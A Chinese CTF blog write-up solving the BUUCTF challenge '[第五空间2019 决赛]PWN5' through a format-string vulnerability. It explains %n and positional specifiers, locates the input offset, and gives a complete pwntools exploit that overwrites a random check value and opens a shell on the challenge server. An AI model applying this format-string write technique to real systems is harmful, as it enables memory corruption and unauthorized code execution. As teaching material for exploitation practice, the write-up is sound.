[BUUCTF]PWN10——[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

题目网址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5

步骤:
例行检查,32位,开启了nx和canary(栈保护)
在这里插入图片描述
nc一下,看看程序大概的执行情况,可以看到当输入的长度过长的时候,他的回显会有点问题,猜测输出语句存在问题
在这里插入图片描述
32位ida载入,shift+f12查看一下程序里的字符串,看到了 /bin/sh
在这里插入图片描述
双击跟进,ctrl+x找到调用这个字符串的函数
在这里插入图片描述
关于格式化字符串详细的讲解,看这里
看文章感觉还是不是很懂的可以看这里,从39分42开始

我们先来看一下几个经常用来测试格式化字符串的格式控制符
%d 用于读取10进制数值
%x 用于读取16进制数值   
%s 用于读取字符串值   
%p 用于读取参数地址
%n 用于讲当前字符串的长度打印到var中,默认写入4字节,也可以用h来占位

在这里插入图片描述
在这里插入图片描述

%$定位参数符在这里插入图片描述

利用思路

1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参
数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量

2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置

3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不
就好了

利用过程

一、我们先在调试程序的时候输入一下的类似于这种字符串来测试一下程序,找到我们输入的字符串在栈上的位置

AAAA %08x %08x %8x %08x %08x %08x %08x…………

在这里插入图片描述
AAAA对应的十六进制是41414141,可以看到我们输入的参数是在栈上的第10个位置(从AAAA开始往后数),就是说我们之后在利用的时候可以直接利用 %10$ 定位到这个位置

二、看一下读入随机数的参数在函数里的地址,长度为4字节,那么我们可以分别用%(10~13)$去定位到这4个地址在% $后面+n,来修改这这个地址里的内容,因此构造payload

在这里插入图片描述

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

三、写入任意一个数据,之后我们输入的时候也输入这个数据

r.sendline(str(0x10101010))

完整exp

from pwn import*

r=remote('node3.buuoj.cn',29564)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)

r.sendline(str(0x10101010))

r.interactive()

在这里插入图片描述

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值